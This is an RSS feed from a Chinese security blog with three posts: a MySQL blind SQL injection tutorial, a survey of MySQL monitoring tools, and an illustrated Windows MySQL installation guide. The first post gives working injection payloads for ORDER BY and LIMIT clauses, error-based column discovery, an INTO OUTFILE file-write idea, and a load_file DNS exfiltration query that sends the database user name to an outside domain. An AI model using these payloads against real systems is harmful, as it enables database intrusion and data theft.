<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu`s Blog &#187; MySQL</title>
	<atom:link href="http://www.4shell.org/archives/tag/mysql/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Thu, 09 Sep 2010 01:28:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Mysql另类盲注中的一些技巧</title>
		<link>http://www.4shell.org/archives/1766.html</link>
		<comments>http://www.4shell.org/archives/1766.html#comments</comments>
		<pubDate>Thu, 03 Jun 2010 03:00:26 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[盲注]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1766.html</guid>
		<description><![CDATA[很多技巧从国外的paper学到的，不过国内没有多少人使用，所以发出来，笔记下~ 一、order by 的参数注入技巧： 两种方法，思路都一样。 example. “select username,password from uc_members order by”.$_GET['oderby'] a.常见的利用方法： 1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings)); 返回错误：[Err] 1242 – Subquery returns more than 1 row 2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings)); 返回正常。 b.国外paper看到的方法： 1.[SQL] select username,password from uc_members order by [...]]]></description>
			<content:encoded><![CDATA[<p>很多技巧从国外的paper学到的，不过国内没有多少人使用，所以发出来，笔记下~</p>
<p>一、order by 的参数注入技巧：<br />
两种方法，思路都一样。</p>
<blockquote><p>
example. “select username,password from uc_members order by”.$_GET['oderby']
</p></blockquote>
<p>a.常见的利用方法：</p>
<blockquote><p>
1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));
</p></blockquote>
<p>返回错误：[Err] 1242 – Subquery returns more than 1 row<br />
<span id="more-1766"></span></p>
<blockquote><p>
2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));
</p></blockquote>
<p>返回正常。</p>
<p>b.国外paper看到的方法：</p>
<blockquote><p>
1.[SQL] select username,password from uc_members order by 1,(select case when(2<1) then 1 else 1*(select username from uc_members)end)=1;
</p></blockquote>
<p>返回错误：[Err] 1242 – Subquery returns more than 1 row</p>
<blockquote><p>
2.[SQL] select username,password from uc_members order by 1,(select case when(2>1) then 1 else 1*(select username from uc_members)end)=1;
</p></blockquote>
<p>返回正常。</p>
<p>二、limit 的参数注入技巧：</p>
<p>a.order by之后的limit参数 的注入，因为正常的sql语句order by后无法接union，所以没有好办法，就一个鸡肋思路：into outfile ‘/www/root/xxx.php’;</p>
<p>b.limit前无order by时的注入，那就方便多了，后面可以直接接union select ，随便怎么注都行了：</p>
<blockquote><p>
select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7
</p></blockquote>
<p>这里还有个技巧，使用procedure analyse可以获取字段名称：</p>
<blockquote><p>
select * from cdb_members where uid=1 limit 1,1 procedure analyse()
</p></blockquote>
<p>不过procedure analyse同样不能使用在order by之后：</p>
<blockquote><p>
[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()
</p></blockquote>
<blockquote><p>
[Err] 1386 – Can’t use ORDER clause with this procedure
</p></blockquote>
<p>三、无法猜测字段时的技巧：</p>
<p>在mysql5以下版本或者information_schema 无法访问的时候，无法猜到某个表的字段名，于是可以采用这个办法，在子查询中使用%0，报错获得列名。以ucenter的uc_members为例。</p>
<p>1.猜测列数：</p>
<blockquote><p>
SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)
</p></blockquote>
<p>返回错误：#1241 – Operand should contain 12 column(s)</p>
<blockquote><p>
2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)
</p></blockquote>
<p>返回正常。</p>
<blockquote><p>
3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)
</p></blockquote>
<p>返回错误：#1048 – Column ‘uid’ cannot be null</p>
<blockquote><p>
4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)
</p></blockquote>
<p>返回错误：#1048 – Column ‘username’ cannot be null<br />
5. ……</p>
<p>注：5.1以上版本不适用，字段必须为非空（not null）</p>
<p>四、windows下利用dns解析盲注的技巧：</p>
<p>如果盲注很累，或者页面无论and 1=1还是and 1=2的时候返回都一模一样，这个时候利用dns进行注入是个不错的方法，前提是win环境root权限下的mysql，利用load_file函数读取远程文件的思路。本地搭建一个dns服务器，然后将特定域名的NS server转过来。然后进行注入，并抓包。</p>
<p>本地测试了下（实际注入中单引号可以编码）：</p>
<blockquote><p>
select load_file(concat(‘\\\\aaa1.’,(select user()),’.oldjun.com\\a.txt’))
</p></blockquote>
<p>抓包成功获得select的结果：</p>
<blockquote><p>
29	28.524843	192.168.9.107	192.168.1.2	DNS	Standard query A aaa1.root@localhost.oldjun.com
</p></blockquote>
<p>如图所示：<br />
<a href="http://www.4shell.org/wp-content/uploads/2010/06/mysqldns.jpeg.jpg" class="highslide-image" onclick="return hs.expand(this);"><img src="http://www.4shell.org/wp-content/uploads/2010/06/mysqldns.jpeg-300x65.jpg" alt="" title="mysqldns.jpeg" width="300" height="65" class="alignnone size-medium wp-image-1765" /></a><br />
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1745.html" title="MySQL监控快速指南">MySQL监控快速指南</a></li>
<li><a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li>
<li><a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li>
<li><a href="http://www.4shell.org/archives/1083.html" title="MySQL数据库安全配置指南">MySQL数据库安全配置指南</a></li>
<li><a href="http://www.4shell.org/archives/1043.html" title="关于MySQL权限">关于MySQL权限</a></li>
<li><a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li>
<li><a href="http://www.4shell.org/archives/991.html" title="高级Mysql攻击技术(翻译blackhat 2009文章)">高级Mysql攻击技术(翻译blackhat 2009文章)</a></li>
<li><a href="http://www.4shell.org/archives/386.html" title="MySQLhack">MySQLhack</a></li>
<li><a href="http://www.4shell.org/archives/338.html" title="MySql远程任意用户建接语句">MySql远程任意用户建接语句</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1766.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL监控快速指南</title>
		<link>http://www.4shell.org/archives/1745.html</link>
		<comments>http://www.4shell.org/archives/1745.html#comments</comments>
		<pubDate>Fri, 30 Apr 2010 01:16:53 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1745.html</guid>
		<description><![CDATA[Mysql作为广泛应用的数据库系统，平时运维工作中对她的监控必不可少，现在把我对Mysql数据库的监控体会写成下文，欢迎拍砖。 无论是DBA或是SA，监控的目标都很明确，无外乎 1.快速的得到Mysql过去一段时间或者当前运行的状态 2.因硬件升级或者系统配置的改变而诊断对Mysql数据库性能影响 3.在Mysql数据库系统出现故障要能够及时收到告警 4.为日后编写运维报告提供各项数据指标供分析 5.…… 想到了再做补充。而所有以上这些目的，通过各种方法和手段都可以做到。 自从Mysql数据库系统启动并且提供服务，Mysql内部自身的一套“计数器”就开始工作，可以通过 Show Global Status ， Show global variables ，Show full processlist 得到Mysql数据库系统当前各种系统变量和状态 ，并且后文介绍个各种监控工具几乎都是对这三个指令的输出 进行数据的计算和统计分析。 这里要提到的是mysqladmin这个Mysql自带的工具，除了用来做各种管理工作，还可以用来做监控 例如：每个10秒输出一次mysql的状态信息 #./mysqladmin -i 10 extended status 下面进入文章正题 一。GUI 类监控工具 1.MySQL administrator Mysql公司发布管理工具，安装和使用都很方便 可以对Mysql 的状态，变量和进程监控，并且有简单图形绘制输出。 2.Cacti 用它来做系统监控的同仁相信很多，目前各种插件数量也很多，足以满足绝大多数公司监控要求。 这里要说的是Mysql监控插件teMySQL_cacti，能够对mysql做比较全面的监控， 但是我发现这个插件很长时间没有更新了。 3.Mysql-cacti-templates Google cacti : http://code.google.com/p/mysql-cacti-templates/ 这个应该说是teMySQL_cacti的升级和改进版本，项目发起人是主编《High Performance MySQL, Second Edition.》的作者 他的主页 http://www.xaprb.com/blog/ 本人推荐使用，功能强大丰富。 4.Nagios 这个天天使用，没啥好说的，可以自己写监控脚本来监控，和cacti结合使用是不错的搭配！ 5.Munin [...]]]></description>
			<content:encoded><![CDATA[<p>Mysql作为广泛应用的数据库系统，平时运维工作中对她的监控必不可少，现在把我对Mysql数据库的监控体会写成下文，欢迎拍砖。<br />
无论是DBA或是SA，监控的目标都很明确，无外乎</p>
<p>1.快速的得到Mysql过去一段时间或者当前运行的状态<br />
2.因硬件升级或者系统配置的改变而诊断对Mysql数据库性能影响<br />
3.在Mysql数据库系统出现故障要能够及时收到告警<br />
4.为日后编写运维报告提供各项数据指标供分析<br />
5.……</p>
<p>想到了再做补充。而所有以上这些目的，通过各种方法和手段都可以做到。</p>
<p>自从Mysql数据库系统启动并且提供服务，Mysql内部自身的一套“计数器”就开始工作，可以通过<br />
Show Global Status ， Show global variables ，Show full processlist<br />
得到Mysql数据库系统当前各种系统变量和状态 ，并且后文介绍个各种监控工具几乎都是对这三个指令的输出<br />
进行数据的计算和统计分析。<br />
<span id="more-1745"></span><br />
<a href="http://www.4shell.org/wp-content/uploads/images/2010/04/011647p1d.gif" class="highslide-image" onclick="return hs.expand(this);" target="_blank"><img title="点击在新窗口中浏览此图片" src="http://www.4shell.org/wp-content/uploads/images/2010/04/011647p1d.gif" border="0" alt="点击在新窗口中浏览此图片" /></a></p>
<p><a href="http://www.4shell.org/wp-content/uploads/images/2010/04/011648876.gif" class="highslide-image" onclick="return hs.expand(this);" target="_blank"><img title="点击在新窗口中浏览此图片" src="http://www.4shell.org/wp-content/uploads/images/2010/04/011648876.gif" border="0" alt="点击在新窗口中浏览此图片" /></a></p>
<p>这里要提到的是mysqladmin这个Mysql自带的工具，除了用来做各种管理工作，还可以用来做监控<br />
例如：每个10秒输出一次mysql的状态信息<br />
#./mysqladmin -i 10 extended status</p>
<p><a href="http://www.4shell.org/wp-content/uploads/images/2010/04/011648oa9.gif" class="highslide-image" onclick="return hs.expand(this);" target="_blank"><img title="点击在新窗口中浏览此图片" src="http://www.4shell.org/wp-content/uploads/images/2010/04/011648oa9.gif" border="0" alt="点击在新窗口中浏览此图片" /></a></p>
<p>下面进入文章正题</p>
<p>一。GUI 类监控工具<br />
<strong>1.MySQL administrator</strong></p>
<p>Mysql公司发布管理工具，安装和使用都很方便<br />
可以对Mysql 的状态，变量和进程监控，并且有简单图形绘制输出。</p>
<p><strong>2.Cacti</strong></p>
<p>用它来做系统监控的同仁相信很多，目前各种插件数量也很多，足以满足绝大多数公司监控要求。<br />
这里要说的是Mysql监控插件<a href="http://faemalia.net/mysqlUtils/" target="_blank">teMySQL_cacti</a>，能够对mysql做比较全面的监控，<br />
但是我发现这个插件很长时间没有更新了。<br />
<a href="http://www.4shell.org/wp-content/uploads/images/2010/04/011649FtN.jpg" class="highslide-image" onclick="return hs.expand(this);" target="_blank"><img title="点击在新窗口中浏览此图片" src="http://www.4shell.org/wp-content/uploads/images/2010/04/011649FtN.jpg" border="0" alt="点击在新窗口中浏览此图片" /></a></p>
<p><strong>3.Mysql-cacti-templates </strong></p>
<p>Google cacti : <a href="http://code.google.com/p/mysql-cacti-templates/" target="_blank">http://code.google.com/p/mysql-cacti-templates/</a><br />
这个应该说是teMySQL_cacti的升级和改进版本，项目发起人是主编《High Performance MySQL, Second Edition.》的作者<br />
他的主页 <a href="http://www.xaprb.com/blog/" target="_blank">http://www.xaprb.com/blog/</a><br />
本人推荐使用，功能强大丰富。<br />
<a href="http://www.4shell.org/wp-content/uploads/images/2010/04/011650ZDe.png" class="highslide-image" onclick="return hs.expand(this);" target="_blank"><img title="点击在新窗口中浏览此图片" src="http://www.4shell.org/wp-content/uploads/images/2010/04/011650ZDe.png" border="0" alt="点击在新窗口中浏览此图片" /></a></p>
<p><strong>4.Nagios</strong><br />
这个天天使用，没啥好说的，可以自己写监控脚本来监控，和cacti结合使用是不错的搭配！</p>
<p><strong>5.Munin</strong><br />
Munin是一款和cacti类似的系统监控工具，有兴趣的可以去研究研究<br />
<a href="http://munin.projects.linpro.no/" target="_blank">http://munin.projects.linpro.no/</a>，这里不多说</p>
<p><strong>6.Zenoss</strong><br />
测试过一次，用的不多，不做什么评价</p>
<p><strong>7.MySQL Enterprise Monitor</strong><br />
Mysql 旗舰付费产品，功能丰富<br />
<a href="http://www.4shell.org/wp-content/uploads/images/2010/04/011651TBY.gif" class="highslide-image" onclick="return hs.expand(this);" target="_blank"><img title="点击在新窗口中浏览此图片" src="http://www.4shell.org/wp-content/uploads/images/2010/04/011651TBY.gif" border="0" alt="点击在新窗口中浏览此图片" /></a></p>
<p>详细信息 <a href="http://www.mysql.com/products/enterprise/monitor.html" target="_blank">http://www.mysql.com/products/enterprise/monitor.html</a><br />
能够监控，报警，绘图，并提供性能优化和建议，集众多监控指标于一身，好是好，可以要花钱的哦<br />
有兴趣的可以去download 30天的试用版本体验。</p>
<p>二。文字模式的监控工具<br />
mysqlreport<br />
<a href="http://hackmysql.com/mysqlreport" target="_blank">http://hackmysql.com/mysqlreport</a><br />
<a href="http://www.4shell.org/wp-content/uploads/images/2010/04/011652P01.gif" class="highslide-image" onclick="return hs.expand(this);" target="_blank"><img title="点击在新窗口中浏览此图片" src="http://www.4shell.org/wp-content/uploads/images/2010/04/011652P01.gif" border="0" alt="点击在新窗口中浏览此图片" /></a></p>
<p><strong>1.mytop</strong><br />
类似linux下top命令的输入<br />
<a href="http://jeremy.zawodny.com/mysql/mytop/" target="_blank">http://jeremy.zawodny.com/mysql/mytop/</a><br />
<a href="http://www.4shell.org/wp-content/uploads/images/2010/04/0116520qw.gif" class="highslide-image" onclick="return hs.expand(this);" target="_blank"><img title="点击在新窗口中浏览此图片" src="http://www.4shell.org/wp-content/uploads/images/2010/04/0116520qw.gif" border="0" alt="点击在新窗口中浏览此图片" /></a></p>
<p><strong>2.mtstat-mysql</strong><br />
<a href="http://pypi.python.org/pypi/mtstat-mysql" target="_blank">http://pypi.python.org/pypi/mtstat-mysql</a></p>
<p><strong>3.mysqlreport</strong><br />
<a href="http://hackmysql.com/mysqlreport" target="_blank">http://hackmysql.com/mysqlreport</a><br />
看我写的这篇文章<br />
用mysqlreport监控并输出mysql状态值  <a href="http://hackmysql.com/mysqlreportguide" target="_blank">http://hackmysql.com/mysqlreportguide</a></p>
<p><strong>4.innotop</strong></p>
<p>这个针对innodb存储引擎数据库的监控，功能丰富<br />
<a href="http://www.xaprb.com/blog/2006/07/02/innotop-mysql-innodb-monitor/" target="_blank">http://www.xaprb.com/blog/2006/07/02/innotop-mysql-innodb-monitor/</a><br />
<a href="http://www.4shell.org/wp-content/uploads/images/2010/04/0116531EO.png" class="highslide-image" onclick="return hs.expand(this);" target="_blank"><img title="点击在新窗口中浏览此图片" src="http://www.4shell.org/wp-content/uploads/images/2010/04/0116531EO.png" border="0" alt="点击在新窗口中浏览此图片" /></a><br />
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li>
<li><a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li>
<li><a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li>
<li><a href="http://www.4shell.org/archives/1083.html" title="MySQL数据库安全配置指南">MySQL数据库安全配置指南</a></li>
<li><a href="http://www.4shell.org/archives/1043.html" title="关于MySQL权限">关于MySQL权限</a></li>
<li><a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li>
<li><a href="http://www.4shell.org/archives/991.html" title="高级Mysql攻击技术(翻译blackhat 2009文章)">高级Mysql攻击技术(翻译blackhat 2009文章)</a></li>
<li><a href="http://www.4shell.org/archives/386.html" title="MySQLhack">MySQLhack</a></li>
<li><a href="http://www.4shell.org/archives/338.html" title="MySql远程任意用户建接语句">MySql远程任意用户建接语句</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1745.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL安装详细图解</title>
		<link>http://www.4shell.org/archives/1173.html</link>
		<comments>http://www.4shell.org/archives/1173.html#comments</comments>
		<pubDate>Mon, 23 Nov 2009 03:07:45 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1173.html</guid>
		<description><![CDATA[下面的是MySQL安装的图解，用的可执行文件安装的，详细说明了一下！ 　　打开下载的mysql安装文件mysql-5.0.27-win32.zip，双击解压缩，运行“setup.exe”，出现如下界面： mysql安装向导启动，按“Next”继续 选择安装类型，有“Typical（默认）”、“Complete（完全）”、“Custom（用户自定义）”三个选项，我们选择“Custom”，有更多的选项，也方便熟悉安装过程 在“Developer Components（开发者部分）”上左键单击，选择“This feature, and all subfeatures, will be installed on local hard drive.”，即“此部分，及下属子部分内容，全部安装在本地硬盘上”。在上面的“MySQL Server（mysql服务器）”、“Client Programs（mysql客户端程序）”、“Documentation（文档）”也如此操作，以保证安装所有文件。点选“Change…”，手 动指定安装目录。 填上安装目录，我的是“F:ServerMySQLMySQL Server 5.0”，也建议不要放在与操作系统同一分区，这样可以防止系统备份还原的时 候，数据被清空。按“OK”继续。 返回刚才的界面，按“Next”继续。 确认一下先前的设置，如果有误，按“Back”返回重做。按“Install”开始安装。 正在安装中，请稍候，直到出现下面的界面 这里是询问你是否要注册一个mysql.com的账号，或是使用已有的账号登陆mysql.com，一般不需要了，点选“Skip Sign-Up”，按“Next”略过此步骤。 现在软件安 装完成了，出现上面的界面，这里有一个很好的功能，mysql配置向导，不用向以前一样，自己手动乱七八糟的配置my.ini了，将 “Configure the Mysql Server now”前面的勾打上，点“Finish”结束软件的安装并启动mysql配置向导。 mysql配置向导启动界面，按“Next”继续。 选择配置方式，“Detailed Configuration（手动精确配置）”、“Standard Configuration（标准配置）”，我们选择“Detailed Configuration”，方便熟悉配置过程。 选择服务器类型，“Developer Machine（开发测试类，mysql占用很少资源）”、“Server Machine（服务器类型，mysql占用较多资源）”、“Dedicated MySQL Server Machine（专门的数据库服务器，mysql占用所有可用资源）”，大家根据自己的类型选择了，一般选“Server Machine”，不会太少，也不会占满。 选择mysql数据库的大致用途，“Multifunctional Database（通 用多功能型，好）”、“Transactional Database Only（服务器类型，专注于事务处理，一般）”、“Non-Transactional Database Only（非事务处理型，较简单，主要做一些监控、记数用，对MyISAM数据类型的支持仅限于non-transactional），随自己的用途而选 [...]]]></description>
			<content:encoded><![CDATA[<p>下面的是MySQL安装的图解，用的可执行文件安装的，详细说明了一下！ 　　打开下载的mysql安装文件mysql-5.0.27-win32.zip，双击解压缩，运行“setup.exe”，出现如下界面：<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111204U1Q.jpg" border="0" alt="" /><br />
mysql安装向导启动，按“Next”继续<br />
<span id="more-1173"></span><br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111207Oil.jpg" border="0" alt="" /><br />
选择安装类型，有“Typical（默认）”、“Complete（完全）”、“Custom（用户自定义）”三个选项，我们选择“Custom”，有更多的选项，也方便熟悉安装过程<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111211PAo.jpg" border="0" alt="" /><br />
在“Developer Components（开发者部分）”上左键单击，选择“This feature, and all subfeatures, will be installed on local hard drive.”，即“此部分，及下属子部分内容，全部安装在本地硬盘上”。在上面的“MySQL Server（mysql服务器）”、“Client Programs（mysql客户端程序）”、“Documentation（文档）”也如此操作，以保证安装所有文件。点选“Change…”，手 动指定安装目录。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111213S1P.jpg" border="0" alt="" /><br />
填上安装目录，我的是“F:ServerMySQLMySQL Server 5.0”，也建议不要放在与操作系统同一分区，这样可以防止系统备份还原的时<br />
候，数据被清空。按“OK”继续。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111217SqD.jpg" border="0" alt="" /><br />
返回刚才的界面，按“Next”继续。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111219glw.jpg" border="0" alt="" /><br />
确认一下先前的设置，如果有误，按“Back”返回重做。按“Install”开始安装。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/11122293y.jpg" border="0" alt="" /><br />
正在安装中，请稍候，直到出现下面的界面<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111226uCI.jpg" border="0" alt="" /><br />
这里是询问你是否要注册一个mysql.com的账号，或是使用已有的账号登陆mysql.com，一般不需要了，点选“Skip Sign-Up”，按“Next”略过此步骤。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111229GJd.jpg" border="0" alt="" /><br />
现在<span style="text-decoration: underline;"><strong><span style="color: #0000ff;">软件</span></strong></span>安 装完成了，出现上面的界面，这里有一个很好的功能，mysql配置向导，不用向以前一样，自己手动乱七八糟的配置my.ini了，将 “Configure the Mysql Server now”前面的勾打上，点“Finish”结束软件的安装并启动mysql配置向导。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111232X18.jpg" border="0" alt="" /><br />
mysql配置向导启动界面，按“Next”继续。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/1112356AJ.jpg" border="0" alt="" /><br />
选择配置方式，“Detailed Configuration（手动精确配置）”、“Standard Configuration（标准配置）”，我们选择“Detailed Configuration”，方便熟悉配置过程。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111239GZG.jpg" border="0" alt="" /><br />
选择服务器类型，“Developer Machine（开发测试类，mysql占用很少资源）”、“Server Machine（服务器类型，mysql占用较多资源）”、“Dedicated MySQL Server Machine（专门的<span style="text-decoration: underline;"><strong><span style="color: #0000ff;">数据库</span></strong></span>服务器，mysql占用所有可用资源）”，大家根据自己的类型选择了，一般选“Server Machine”，不会太少，也不会占满。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111241Aga.jpg" border="0" alt="" /><br />
选择mysql数据库的大致用途，“Multifunctional <span style="text-decoration: underline;"><strong><span style="color: #0000ff;">Database</span></strong></span>（通 用多功能型，好）”、“Transactional Database Only（服务器类型，专注于事务处理，一般）”、“Non-Transactional Database Only（非事务处理型，较简单，主要做一些监控、记数用，对MyISAM数据类型的支持仅限于non-transactional），随自己的用途而选 择了，我这里选择“Transactional Database Only”，按“Next”继续。 <img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111243tEt.jpg" border="0" alt="" /><br />
对InnoDB Tablespace进行配置，就是为InnoDB 数据库文件选择一个存储空间，如果修改了，要记住位置，重装的时候要选择一样的地方，否则可能会造成数据库损坏，当然，对数据库做个备份就没问题了，这里 不详述。我这里没有修改，使用用默认位置，直接按“Next”继续<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111245GMG.jpg" border="0" alt="" /><br />
选择您的网站的一般mysql访问量，同时连接的数目，“Decision Support(DSS)/OLAP（20个左右）”、“Online Transaction Processing(OLTP)（500个左右）”、“Manual Setting（手动设置，自己输一个数）”，我这里选“Online Transaction Processing(OLTP)”，自己的服务器，应该够用了，按“Next”继续<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111247Wqz.jpg" border="0" alt="" /><br />
是否启用TCP/IP连接，设定端口，如果不启用，就只能在自己的机器上访问mysql数据库了，我这里启用，把前面的勾打上，Port Number：3306，在这个页面上，您还可以选择“启用标准模式”（Enable Strict Mode），这样MySQL就不会允许细小的语法错误。如果您还是个新手，我建议您取消标准模式以减少麻烦。但熟悉MySQL以后，尽量使用标准模式，因 为它可以降低有害数据进入数据库的可能性。按“Next”继续<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111249wbs.jpg" border="0" alt="" /><br />
这个比较重要，就是对mysql默认数据库语言编码进行设置，第一个是西文编码，第二个是多字节的通用utf8编码，都不是我们通用的编码，这里选择第三 个，然后在Character Set那里选择或填入“gbk”，当然也可以用“gb2312”，区别就是gbk的字库容量大，包括了gb2312的所有汉字，并且加上了繁体字、和其它 乱七八糟的字——使用mysql的时候，在执行数据操作命令之前运行一次“SET NAMES GBK;”（运行一次就行了，GBK可以替换为其它值，视这里的设置而定），就可以正常的使用汉字（或其它文字）了，否则不能正常显示汉字。按 “Next”继续。<br />
<img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111251Y11.jpg" border="0" alt="" /><br />
选择是否将mysql安装为windows服务，还可以指定Service Name（服务标识名称），是否将mysql的bin目录加入到Windows PATH（加入后，就可以直接使用bin下的文件，而不用指出目录名，比如连接，“mysql.exe -uusername -ppassword;”就可以了，不用指出mysql.exe的完整地址，很方便），我这里全部打上了勾，Service Name不变。按“Next”继续。 <img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111253HxX.jpg" border="0" alt="" /><br />
这一步询问是否要修改默认root用户（超级管理）的密码（默认为空），“New root password”如果要修改，就在此填入新密码（如果是重装，并且之前已经设置了密码，在这里更改密码可能会出错，请留空，并将“Modify Security Settings”前面的勾去掉，安装配置完成后另行修改密码），“Confirm（再输一遍）”内再填一次，防止输错。“Enable root access from remote machines（是否允许root用户在其它的机器上登陆，如果要安全，就不要勾上，如果要方便，就勾上它）”。最后“Create An Anonymous Account（新建一个匿名用户，匿名用户可以连接数据库，不能操作数据，包括查询）”，一般就不用勾了，设置完毕，按“Next”继续。 <img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111255um6.jpg" border="0" alt="" /><br />
确认设置无误，如果有误，按“Back”返回检查。按“Execute”使设置生效。 <img style="cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111257zG5.jpg" border="0" alt="" /><br />
设置完毕，按“Finish”结束mysql的安装与配置——这里有一个比较常见的错误，就是不能“Start service”，一般出现在以前有安装mysql的服务器上，解决的办法，先保证以前安装的mysql服务器彻底卸载掉了；不行的话，检查是否按上面一 步所说，之前的密码是否有修改，照上面的操作；如果依然不行，将mysql安装目录下的data文件夹备份，然后删除，在安装完成后，将安装生成的 data文件夹删除，备份的data文件夹移回来，再重启mysql服务就可以了，这种情况下，可能需要将数据库检查一下，然后修复一次，防止数据出错。</p>
<p><img style="width: 454px; cursor: pointer;" onclick="javascript:window.open(this.src);" src="http://www.4shell.org/wp-content/uploads/images/2009/11/111300GZY.jpg" border="0" alt="" /><br />
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li>
<li><a href="http://www.4shell.org/archives/1745.html" title="MySQL监控快速指南">MySQL监控快速指南</a></li>
<li><a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li>
